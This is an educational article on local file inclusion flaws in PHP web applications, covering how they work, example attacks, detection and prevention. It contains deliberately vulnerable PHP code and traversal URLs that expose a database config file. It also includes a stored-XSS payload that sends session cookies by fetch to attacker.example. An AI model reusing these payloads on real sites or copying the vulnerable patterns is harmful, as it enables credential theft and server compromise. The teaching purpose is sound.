Local file inclusion (LFI)

What is local file inclusion?

Local file inclusion (LFI) is a cybersecurity term for a specific class of software security vulnerabilities. If a malicious hacker is able to access, view, and/or include files located in the web server file system within the document root folder, it means that the software has a local file inclusion vulnerability.

Severity:⬛⬛⬛⬜⬜severe
Prevalence:⬛⬜⬜⬜⬜discovered rarely
Scope:⬛⬛⬜⬜⬜appears only in web-related software
Technical impact:access to sensitive information
Worst-case consequences:remote code execution
Quick fix:do not use filenames from user input

How does local file inclusion work?

When writing web applications, developers often need to access additional server-side files located in the application directory or its subdirectories. For example, developers may want to include configuration files and application modules or to access and display files uploaded by users, such as images or text files.

To access non-static files, developers commonly pass filenames via user input parameters. For example, if the application is to display images uploaded by users, the author of the application may decide to allow arbitrary names for these images. In the case of scripting languages like PHP, developers may also need to dynamically include files that contain source code.

Local file inclusion vulnerabilities happen when a malicious user can include an arbitrary file name or path in user input. For example, if an application is designed to display an arbitrary image based on a URL parameter, but an attacker is able to use this functionality to display application source code, that application has an LFI vulnerability. Note that if the attacker can include a malicious file from a remote location, we are talking about a remote file inclusion (RFI) vulnerability.

Local file inclusion vs. directory traversal

Local file inclusion vulnerabilities are often confused with directory traversal (path traversal), which is similar but not synonymous:

  • LFI means that the attacker can include source code files or view files that are located within the document root directory and its subdirectories, but it does not mean that the attacker can reach outside of the document root.
  • Directory traversal means that the attacker can access files located outside the document root directory, for example, log files or the passwd file, and the attack does not involve running any malicious code.

The two vulnerabilities are often confused because they frequently occur together and have the same root cause: the developer allowing paths to local files to be passed as part of user input (CWE-73).

Note: Some definitions consider local file inclusion to be limited to cases where the included file contains source code and is also executed. For example, in the CWE index, the definition of local file inclusion is CWE-98: Improper control of filename for include/require statement in PHP program.

Examples of local file inclusion attacks

Below are examples of PHP code with local file inclusion vulnerabilities, as well as different LFI attack vectors on applications that include this code.

LFI that leads to sensitive information disclosure

The developer of a PHP application wants the user to be able to read poems stored in text files on the web server. These poems are written to text files, uploaded by other users, and stored in a relative poems directory. Then, the poems are displayed in the web browser as part of the HTML page. The following is a code snippet from the poems/display.php file.

<?PHP 
    $file = $_GET["file"];
    $handle = fopen($file, 'r');
    $poem = fread($handle, 1);
    fclose($handle);
    echo $poem;
?>

As you can see, the filename is taken directly from the HTTP request header. Therefore, you can access and display a poem called poem.txt using the following URL:

http://victim.example/my_app/display.php?file=poem.txt

The attack vector

The attacker abuses this script by manipulating the GET request using the following payload:

http://victim.example/my_app/display.php?file=../config/database.php

The display.php script navigates up to the document root directory and then down to the /config/ subdirectory. There, it includes the database configuration file database.php, which contains the username and password used to connect to the database. The data is exposed as part of the HTML code and the attacker just needs to examine the source code of the page to learn how to access the database directly.

LFI that leads to cross-site scripting

Attackers may also use the code above to escalate the attack to stored cross-site scripting (XSS).

The attack vector

The attacker first uses the poem file upload functionality to upload the following “poem” as a text file called poem42.txt:

<script>fetch("http://attacker.example?log="+encodeURIComponent(document.cookie));</script>

Then, the attacker submits a request to include the poem:

http://victim.example/my_app/display.php?file=poem42.txt

Since the content of the poem is intended to be directly displayed as part of the HTML code, the page code now includes a stored cross-site scripting vulnerability. The attacker may deliver this link to any number of victims, and anyone who opens it will have their session cookies sent to the attacker-controlled attacker.example site.

LFI that leads to remote code execution

The developer of the same PHP application also wants to be able to include modules dynamically. The following is a code snippet from the index.php file.

<?PHP 
  $module = $_GET["module"];
  include $module;
?>

Again, the filename is taken directly from the GET HTTP request. Therefore, you can include the module welcome.php as follows:

http://victim.example/index.php?module=welcome.php

The attack vector

The attacker first uses the poem upload functionality to upload poem42.txt, which contains the PHP source code of the pentest monkey reverse shell.

Then, the attacker manipulates the GET request to index.php to include the poem instead of a module:

http://victim.example/index.php?module=poems/poem42.txt

As a result, the application runs the code of the reverse shell (remote code execution), granting the attacker remote access to the server command line.

Potential consequences of a local file inclusion attack

As you can see from the examples above, local file inclusion vulnerabilities may have a variety of consequences, depending on the functionality of the vulnerable application. Here are some examples:

  • If the application displays arbitrary images, it can be used to display sensitive information such as source code or configuration files.
  • If the application allows you to download arbitrary files such as PDF files, it can be used to download sensitive information such as source code or configuration files.
  • If the application includes arbitrary file content as part of the HTML page, it can be used to exploit cross-site scripting vulnerabilities.
  • If the application dynamically includes arbitrary source code files and the attacker is able to upload or change files, it can be used to escalate to remote code execution.

Examples of well-known local file inclusion vulnerabilities

How to detect local file inclusion vulnerabilities?

The best way to detect local file inclusion vulnerabilities depends on whether they are already known or unknown.

  • If you only use commercial or open-source software and do not develop software of your own, you may find it enough to identify the exact version of the system or application that you are using. If the identified version is vulnerable to local file inclusion, you can assume that you are susceptible to that local file inclusion vulnerability. You can identify the version manually or use a suitable security tool, such as software composition analysis (SCA) software in the case of web applications or a network scanner in the case of networked systems and applications.
  • If you develop your own software or want to potentially find unknown local file inclusion vulnerabilities (zero-days) in known applications, you must be able to successfully exploit the local file inclusion vulnerability to be certain that it exists. In such cases, you need to either perform manual penetration testing with the help of security researchers or penetration testers, or use an application security testing tool (web vulnerability scanner) that can automatically exploit vulnerabilities. Examples of such tools are Invicti and Acunetix by Invicti. We recommend using this method even for known vulnerabilities.

How to prevent local file inclusion vulnerabilities in web applications?

There are several methods that allow you to prevent local file inclusion vulnerabilities in your code:

  1. Completely avoid passing filenames in user input. This includes not just direct user input but also other data sources that can be manipulated by the attacker, for example, cookies.
  2. If your application requires you to use filenames from user input and there is no way around it, create a whitelist of safe files.
  3. If you cannot create a whitelist because you use arbitrary filenames (for example, if users upload the files), store filenames in the database and use table row identifiers in user input. You can also use URL mappings to identify files with no risk of local file inclusion.

The above methods are available in every programming language and therefore every developer can easily prevent local file inclusion vulnerabilities by using secure coding techniques. There is no excuse for having local file inclusion in your code.

Note: Do not rely on blacklisting, encoding, or methods of input validation/sanitization such as filtering to prevent local file inclusion. For example, don’t try to limit or enforce file extensions or block special character sequences as your only protection from LFI. Attackers can go around such filters by using several different methods such as URL encoding and wrappers such as php://filter.

How to mitigate local file inclusion attacks?

Methods to mitigate local file inclusion attacks will differ depending on the type of software:

  • In the case of custom web applications, you can mitigate local file inclusion attacks by running your web application in a limited environment, which is very common for web APIs. For example, instead of running all your applications on a single Linux server with Apache, you can run each of them in a separate Docker container. This will limit the number of files that the attacker can access – they won’t be able to access other applications in the same web root folder.
  • In the case of known local file inclusions in third-party software, such as for example administration software for hardware routers and firewalls, you must check the latest security advisories for a fix and update to a non-vulnerable version.

In the case of zero-day local file inclusions in third-party software, you can apply temporary WAF (web application firewall) rules for mitigation. However, this only makes local file inclusion harder to exploit and does not eliminate the problem.

ClassificationID
CAPEC252
CWE98
WASC33
OWASP 2021A1

Related blog posts